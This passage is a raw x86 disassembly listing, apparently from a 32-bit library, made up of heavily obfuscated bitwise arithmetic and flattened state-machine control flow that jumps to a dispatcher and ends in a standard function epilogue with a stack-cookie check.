and ecx, 0x44814921
and esi, 0x1b56b6da
or esi, ecx
xor esi, ebx
not edx
or edx, esi
mov esi, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x91644826
and eax, 0x6e9bb7d9
or eax, edx
xor eax, esi
or ecx, esi
xor eax, 0x6e9bb7d9
not ecx
or ecx, eax
mov eax, ecx
not eax
or eax, edi
not edi
not eax
or edi, ecx
not edi
or edi, eax
mov eax, edi
not eax
mov ecx, edi
or ecx, 0x15d06184
and ecx, 0x1df07d87
mov edx, eax
and eax, 0xf8078
or eax, ecx
or edx, 0x8201c03
and edx, 0x1df07d87
and edi, 0xe2000200
or edi, edx
xor edi, eax
mov edx, dword [ebp - 0x24]
mov eax, edx
mov esi, dword [ebp - 0x18]
and eax, esi
mov ecx, esi
and ecx, 0x8397e3e9
and edx, 0x7c681c16
or edx, ecx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0x8397e3e9
and eax, 0x7c681c16
or eax, ecx
mov ecx, edi
xor ecx, 0xf7d06384
xor eax, edx
not esi
or esi, eax
mov eax, esi
mov edx, edi
xor edx, 0x82f9c7b
xor edi, 0x29c70160
and edi, edx
mov ebx, ecx
and ebx, 0x21e89d1b
or ebx, edi
not esi
mov edi, esi
and edi, 0xde1762e4
mov dword [ebp - 0x14], edi
mov edi, eax
mov dword [ebp - 0x18], eax
xor eax, 0xde1762e4
and eax, edi
or eax, dword [ebp - 0x14]
xor eax, ebx
mov edi, ecx
and edi, 0x42700fd6
and edx, 0xbd8ff029
or edx, edi
mov edi, dword [ebp - 0x18]
or ecx, edi
and edi, 0x42700fd6
and esi, 0xbd8ff029
or esi, edi
xor esi, edx
not ecx
or ecx, esi
mov edx, eax
not edx
mov esi, edx
and esi, 0xeae19a52
and eax, 0x151e65ad
or eax, esi
mov esi, ecx
not esi
or edx, ecx
and ecx, 0xeae19a52
and esi, 0x151e65ad
or esi, ecx
xor esi, eax
not edx
or edx, esi
xor edx, 0x37550335
xor edx, 0xc8aafcca
setne ch
sete cl
mov byte [ebp - 0x14], cl
cmp dword [0x10049904], 0xa
setge al
setl dh
mov dl, dh
xor dl, cl
mov bl, dh
or bl, cl
mov cl, bl
xor cl, 1
or dl, cl
mov bh, dl
xor bh, 1
and cl, bl
xor cl, 1
mov ah, cl
xor ah, bl
or cl, bl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, bh
and cl, dl
or cl, ah
or dl, bl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
mov dl, cl
xor dl, 1
and dh, ch
movzx ebx, byte [ebp - 0x14]
mov ah, bl
and ah, al
or ah, dh
xor ch, ah
and ch, ah
or al, bl
xor al, 1
mov ah, ch
xor ah, al
or al, ch
xor al, 1
or al, ah
xor ah, 1
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ah, al
xor ah, 1
mov dh, cl
and dh, dl
xor dh, 1
mov ch, dh
xor ch, cl
or dh, cl
xor dh, 1
or dh, ch
mov bl, dh
xor bl, 1
mov ch, dh
and ch, bl
xor ch, 1
or ch, bl
xor ch, 1
or ch, dh
mov dh, ch
xor dh, 1
mov bl, dh
and bl, ch
xor bl, 1
or bl, dh
mov dh, al
and dh, ah
xor dh, 1
or dh, ah
xor dh, 1
or dh, al
xor dh, 1
xor bl, 1
or bl, ch
mov ch, bl
xor ch, dh
or dh, bl
xor ch, 1
and ch, bl
xor dh, 1
or ch, dh
or al, dl
mov dl, ah
xor dl, cl
or ah, cl
and ah, dl
mov dl, ah
and ah, al
xor al, 1
xor dl, 1
mov cl, al
xor cl, dl
and cl, al
and dl, al
or dl, ah
or dl, cl
mov eax, edx
xor al, 1
mov cl, al
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov ah, cl
xor cl, 1
and cl, ch
xor al, ch
xor ch, 1
and ah, ch
or cl, ah
mov ah, ch
xor ah, dl
or ch, dl
xor ch, 1
or ch, al
xor ch, 1
or ch, ah
xor ch, cl
and cl, ch
mov al, ch
xor al, cl
test al, 1
mov edx, 0xba4b2976
mov eax, 0x549d7558
cmovne edx, eax
test ch, 1
mov eax, 0xba4b2976
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x1000f5c0
mov eax, 0xffc015ba
jmp 0x1000f5c0
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov edi, eax
mov ecx, edx
or ecx, 0xb6880210
mov eax, edx
xor eax, 0x73f5af
and eax, edx
mov ebx, edx
and ecx, 0xb6e8d3bb
mov esi, edi
and esi, 0x132404
or esi, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0xb6e8d3bb
and eax, 0x49172c44
or eax, ecx
xor eax, esi
not edx
or edx, eax
not eax
and eax, 0x818c0a50
and edx, 0x31401
or edx, eax
mov ecx, edx
xor ecx, 0x818b0e11
or ecx, 0x4450802e
and edx, 0x1041041
and ecx, 0xc4db8e3e
or ecx, edx
mov eax, edi
and eax, 0x9014ca75
mov edx, ebx
and edx, 0x6feb358a
or edx, eax
xor edx, 0x119bd424
mov eax, edx
xor eax, edi
and eax, edx
mov esi, ecx
xor esi, 0x810810
xor ecx, 0x3b2471c1
mov edx, ecx
and ecx, 0xe95ab6a9
and esi, 0x850850
or esi, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0xe95ab6a9
and eax, 0x16a54956
or eax, ecx
xor eax, esi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x6d75257b
and eax, 0x928ada84
or eax, esi
or ecx, edx
and edx, 0xedff3f7b
xor edx, eax
xor edx, 0x808a1a00
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x4410210e
xor ecx, 0x1841e11
and ecx, 0x3be4deb1
and edx, 0xc41b214e
or edx, ecx
mov eax, edx
xor eax, 0xc41b214e
xor edx, 0x28e4de20
mov ecx, eax
and ecx, 1
and edx, 0xe8e5ff68
and eax, 0x171a0096
or eax, edx
xor eax, 0x171a0096
or eax, ecx
mov edx, eax
not edx
and eax, 0xa748596f
mov ecx, edx
and ecx, 0x58b7a690
or ecx, eax
xor ecx, 0xa748596e
and edx, 1
or edx, ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edi
mov eax, edi
and eax, 0x75ce412a
mov ecx, ebx
and ecx, 0x8a31bed4
or ecx, eax
mov edx, ecx
xor edx, 0x82011c90
mov eax, ebx
mov dword [ebp - 0x24], ebx
and eax, 1
or eax, edx
xor ecx, 0x30460022
and ecx, 0x3876a266
and eax, 0xc7895d99
or eax, ecx
mov edx, edi
and edx, 0x5770dce5
mov ecx, ebx
and ecx, 0xa88f231a
or ecx, edx
mov esi, eax
xor esi, 0x43894890
xor eax, 0x3876a266
mov edx, eax
and edx, 0xb472956d
and esi, 0x4b8d6a92
or esi, edx
mov edx, ecx
xor edx, 0x88d2212
xor ecx, 0x5770dce5
or eax, ecx
and ecx, 0xb472956d
and edx, 0x4b8d6a92
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov edi, dword [ebp - 0x18]
mov edx, edi
not edx
mov ecx, edi
and ecx, 0x8460108
mov esi, edx
mov dword [ebp - 0x1c], edx
and esi, 0x262118d0
or esi, ecx
xor esi, 0x262118d0
mov ecx, edi
xor ecx, 0xd198e627
and ecx, edx
or esi, ecx
not ecx
and ecx, 0xd198e627
and esi, 0x2e6719d8
or esi, ecx
mov edi, eax
not edi
mov ecx, eax
and ecx, 0x184ea081
mov edx, edi
and edx, 0x42110128
or edx, ecx
xor edx, 0x42110128
mov ecx, edi
and ecx, 0xa5a05e56
or ecx, edx
mov edx, ecx
xor edx, 0xa5a05e56
mov ebx, edx
mov dword [ebp - 0x28], edx
mov edx, ecx
xor edx, 0x5a5fa1a9
mov ecx, edx
and ecx, 0x51793739
and ebx, 0xae86c8c6
or ebx, ecx
xor ebx, 0x147d483f
mov dword [ebp - 0x20], ebx
mov ecx, ebx
xor ecx, edx
mov ebx, ecx
mov ecx, esi
xor ecx, edx
and ecx, esi
mov dword [ebp - 0x2c], ecx
and edx, esi
mov dword [ebp - 0x30], edx
mov edx, esi
not esi
mov dword [ebp - 0x34], esi
and esi, 0x105b0041
and edx, 0xaaa080b8
or edx, esi
mov ecx, edx
xor ecx, 0x8a208030
or ecx, 0x5045604
xor edx, 0x10090000
and edx, 0x30890088
and ecx, 0x8f76d675
or ecx, edx
mov edx, dword [ebp - 0x18]
or edx, 0x83800d1
mov esi, dword [ebp - 0x1c]
and esi, 0x5007e06
and edx, 0x483c01d1
or edx, esi
mov esi, edx
and ebx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], ebx
and eax, 0x2aa30331
and edi, 0xd55cfcce
or edi, eax
mov edx, edi
xor edx, 0xd55cfcce
xor edi, 0xa20330
and edi, 0x11a68bf2
mov eax, edx
and eax, 0xee59740d
or eax, edi
xor eax, 0xab5d0b0b
and edx, 0xbafb80f9
or edx, eax
mov dword [ebp - 0x20], edx
mov eax, ecx
xor eax, 0x8f76d675
mov edx, ecx
xor edx, 0x18a
and edx, 0xf1651eb
xor ecx, 0x18d28020
and ecx, eax
and eax, 0xb0e98010
or eax, edx
mov edi, esi
xor esi, 0x483c01d1
mov edx, edi
xor edx, 0x80c2a40c
and edx, 0x88e6a54d
xor edi, 0x5e00
and edi, esi
mov dword [ebp - 0x18], edi
and esi, 0x45005a02
or esi, edx
mov ebx, eax
xor ebx, 0xf0e9ae14
mov edx, eax
xor edx, 0xddb20eba
and edx, ebx
or ecx, edx
mov edi, esi
xor edi, 0x77195ab2
mov edx, edi
and edx, 0xd2a45f51
or dword [ebp - 0x18], edx
mov edx, dword [ebp - 0x18]
xor edx, edx
not edx
and edx, ecx
xor edx, dword [ebp - 0x18]
xor eax, 0xf1651eb
mov ecx, eax
and ecx, 0x947590a0
and ebx, 0x2b8a695f
or ebx, ecx
xor esi, 0x88e6a54d
or eax, esi
and esi, 0x44241600
and edi, 0x2b8a695f
or edi, esi
xor edi, ebx
not eax
or eax, edi
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x67eb22e9
and edx, 0x9814dd16
or edx, ecx
mov ecx, eax
not ecx
or esi, eax
and eax, 0x67eb22e9
and ecx, 0x9814dd16
or ecx, eax
xor ecx, edx
not esi
or esi, ecx
mov eax, dword [ebp - 0x1c]
mov ecx, eax
not ecx
mov dword [ebp - 0x18], ecx
and ecx, 0xdc62efe8
and eax, 0x239d1017
or eax, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x20]
mov ebx, eax
not ebx
mov edi, ebx
or edi, 0x239d1017
mov ecx, edi
and ecx, 0x66a0806c
mov edx, eax
and edx, 0x98426f80
or edx, ecx
xor eax, 0x239d1017
and eax, ebx
mov ecx, eax
not ecx
or edi, ecx
and ecx, 0x66a0806c
and eax, 0x995f7f93
or eax, ecx
xor eax, edx
not edi
or edi, eax
mov edx, edi
xor edx, edi
not edx
and edx, dword [ebp - 0x38]
xor edx, edi
mov edi, dword [ebp - 0x1c]
mov eax, edi
and eax, 0x86abb096
mov ecx, dword [ebp - 0x18]
and ecx, 0x79544f69
or ecx, eax
or edi, ebx
and ebx, 0x86abb096
mov eax, dword [ebp - 0x20]
and eax, 0x79544f69
or eax, ebx
xor eax, ecx
not edi
or edi, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x6bcb40a4
and edx, 0x9434bf5b
or edx, eax
mov eax, edi
not eax
or ecx, edi
and edi, 0x6bcb40a4
and eax, 0x9434bf5b
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0x99eefb4a
and esi, 0x661104b5
or esi, edx
mov edx, ecx
not edx
xor esi, 0x99eefb4a
or esi, edx
and edx, 0xdaffc348
and ecx, 0x25003cb7
or ecx, edx
xor ecx, 0xdaffc348
or ecx, eax
not esi
not ecx
or ecx, esi
mov eax, dword [ebp - 0x34]
and eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x30]
or esi, eax
mov edi, dword [ebp - 0x2c]
mov eax, edi
not eax
mov edx, eax
and edx, 0x435e027c
and edi, 0xbca1fd83
or edi, edx
mov edx, esi
not edx
or eax, edx
and edx, 0x435e027c
and esi, 0xbca1fd83
or esi, edx
xor esi, edi
not eax
or eax, esi
mov edx, ecx
not edx
mov esi, edx
and edx, 0xb771a5f1
and ecx, 0x488e5a0e
or ecx, edx
mov edx, eax
not edx
or esi, eax
and eax, 0xb771a5f1
and edx, 0x488e5a0e
or edx, eax
not esi
xor edx, ecx
or edx, esi
mov dword [ebp - 0x1c], edx
mov ebx, dword [ebp - 0x24]
mov eax, ebx
and eax, 0x62865d2
mov edx, dword [ebp - 0x14]
mov ecx, edx
and ecx, 0xf9d79a2d
or ecx, eax
mov eax, edx
and eax, ebx
mov edx, eax
not edx
mov esi, ebx
or esi, edx
and edx, 0x62865d2
and eax, 0xf9d79a2d
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov ecx, esi
not ecx
and esi, 0x9d043a9b
mov eax, ecx
and eax, 0x62fbc564
or eax, esi
xor eax, 0x2c172f3c
and ecx, 0xb11315a7
or ecx, eax
mov esi, ecx
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 0x4eecea58
and ebx, 0xb11315a7
or ebx, eax
xor ecx, ebx
and ecx, ebx
mov dword [ebp - 0x14], ecx
mov eax, ecx
not eax
mov dword [ebp - 0x18], eax
and eax, 0x9548174
mov edx, ecx
and edx, 0xf6ab7e8b
or edx, eax
mov edi, edx
mov ecx, esi
mov dword [ebp - 0x20], esi
not esi
mov ebx, esi
or ebx, 0xab36628a
mov eax, ebx
and eax, 0x434aeec6
mov edx, ecx
and edx, 0x14811131
or edx, eax
mov eax, ecx
xor eax, 0xab36628a
and eax, esi
mov ecx, eax
not ecx
or ebx, ecx
and ecx, 0x434aeec6
and eax, 0xbcb51139
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov ecx, edi
mov dword [ebp - 0x24], edi
mov edx, edi
xor edx, 0xf6ab7e8b
xor ecx, 0x5d9d1c01
and ecx, edx
mov eax, ecx
not eax
mov edi, eax
and edi, 0x60d2599e
and ecx, 0x9f2da661
or ecx, edi
or dword [ebp - 0x18], 0x54c99d75
or eax, dword [ebp - 0x18]
and dword [ebp - 0x18], 0x60d2599e
and dword [ebp - 0x14], 0x8b242200
mov edi, dword [ebp - 0x18]
add dword [ebp - 0x14], edi
xor dword [ebp - 0x14], ecx
not eax
or eax, dword [ebp - 0x14]
xor eax, ebx
mov ecx, esi
and ecx, 0xd03b345d
mov edi, dword [ebp - 0x20]
and edi, 0x2fc4cba2
or edi, ecx
mov ecx, dword [ebp - 0x24]
xor ecx, 0x9548174
or esi, ecx
and ecx, 0xd03b345d
and edx, 0x2fc4cba2
or edx, ecx
xor edx, edi
not esi
or esi, edx
not esi
or esi, eax
mov ecx, esi
mov eax, esi
xor eax, 0xb11315a7
and eax, esi
or esi, 0x4eecea58
not ecx
mov edx, esi
and edx, 0x4aa40bc3
and ecx, 0xb1131424
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x4aa40bc3
and eax, 0xb55bf43c
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov ebx, dword [ebp - 0x1c]
mov edx, ebx
not edx
mov eax, edx
and eax, 0x40820027
mov ecx, ebx
and ecx, 0x23003000
or ecx, eax
mov eax, ecx
xor eax, 0x1000000
xor ecx, 0xdc43811e
and ecx, 0xfe43b11e
and eax, 0x1800021
or eax, ecx
mov ecx, edx
or ecx, 0x62023006
and ecx, 0xfe43b11e
mov edi, ebx
and edi, 0x3c4ec0
or edi, ecx
xor edi, eax
mov ecx, edi
xor ecx, 0x1c6c8380
xor edi, 0x40821005
and edi, 0xc0935c5d
and ecx, 0x3f6ca3a2
or ecx, edi
mov eax, edx
or eax, esi
not esi
xor ecx, 0x3f6ca3a2
or ecx, esi
mov esi, ecx
or esi, eax
not esi
xor ecx, eax
or ecx, esi
mov esi, ebx
or esi, 0x20100892
mov eax, edx
and esi, 0x79301bd3
and edx, 0x86cbc400
or edx, esi
or eax, 0x59201341
and eax, 0x79301bd3
mov esi, ebx
and esi, 0x4202c
or esi, eax
xor esi, edx
mov eax, ecx
not eax
xor esi, 0xdfebd741
mov edx, eax
xor edx, esi
or esi, ecx
not esi
and edx, ecx
or edx, esi
and eax, 0x73b2598f
and ecx, 0x8c4da670
or ecx, eax
mov eax, ecx
xor eax, 0x8405a070
xor ecx, 0x73b2598f
mov esi, ecx
and esi, 0x2a5a1707
and eax, 0xd5a5e8f8
or eax, esi
xor eax, edx
xor eax, 0xd5a5e8f8
or ecx, edx
not ecx
or ecx, eax
xor ecx, 0xb8dbc23b
xor ecx, 0x47243dc4
setne dl
sete ch
cmp dword [0x10049904], 0xa
setge ah
setl dh
mov bl, ch
xor bl, dh
mov al, bl
xor al, 1
mov cl, dh
and cl, al
mov bh, bl
and bh, ah
or bh, cl
mov cl, bh
xor cl, 1
and bl, cl
and bh, al
or bh, bl
xor cl, bh
and cl, bh
and dh, ch
and dl, ah
or dl, dh
mov dh, ah
or dh, ch
mov bl, dh
xor bl, 1
or al, bl
xor bl, dl
xor dl, 1
or dl, dh
xor dl, 1
or dl, bl
mov dh, dl
xor dh, 1
xor ah, ch
xor al, 1
or al, ah
mov ch, al
xor ch, 1
mov ah, dh
and ah, dl
xor ah, 1
or ah, dh
xor ah, 1
or ah, dl
xor ah, 1
xor dh, ch
xor ch, ah
and ch, al
or ah, al
xor ah, 1
or ah, ch
or al, dl
xor al, 1
or al, dh
xor al, 1
or al, dh
mov edx, eax
xor dl, 1
mov ch, ah
xor ch, 1
and dl, ch
or ch, al
xor ch, 1
and al, ah
or al, dl
or al, ch
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov dh, al
xor dh, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, dl
mov cl, ah
xor cl, ch
xor ch, 1
or ch, dl
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
xor ch, ah
or cl, dl
xor cl, 1
or cl, ch
mov bh, cl
xor bh, 1
mov ch, al
and ch, dh
xor ch, 1
mov bl, bh
and bl, cl
xor bl, 1
or bl, bh
mov bh, dh
xor bh, ch
or ch, dh
xor ch, 1
or bh, ch
xor bl, 1
or bl, cl
xor bl, 1
mov cl, bl
xor cl, bh
xor cl, 1
and cl, bh
or bl, bh
xor cl, 1
mov bh, cl
xor bh, bl
or cl, bl
xor cl, 1
or cl, bh
or ch, al
xor ch, ah
mov bl, ah
or ah, al
and al, dl
and bl, dh
or bl, al
xor dh, dl
xor ah, 1
or ah, dh
xor ah, 1
or ah, bl
mov al, ah
xor al, 1
and al, ah
xor al, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ah, ch
xor ah, dl
and ah, ch
and dl, ch
xor ch, 1
and al, ch
or dl, al
xor ah, 1
xor dl, 1
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov edx, ecx
or dl, al
xor dl, 1
xor al, cl
or dl, al
or ah, cl
and al, cl
xor al, 1
mov ecx, eax
xor cl, ah
or al, ah
xor al, 1
or al, cl
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xef46a90e
mov esi, 0x362dc209
cmovne eax, esi
test cl, 1
mov ecx, 0xef46a90e
cmovne eax, ecx
test dl, 1
cmove eax, esi
jmp 0x1000f5c0
cmp byte [ebp - 0x57], 0
mov eax, 0x57b91028
mov ecx, 0xb4040080
cmovne eax, ecx
jmp 0x1000f5c0
cmp eax, 0xbc50b464
jne 0x1000f5c0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10035408
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret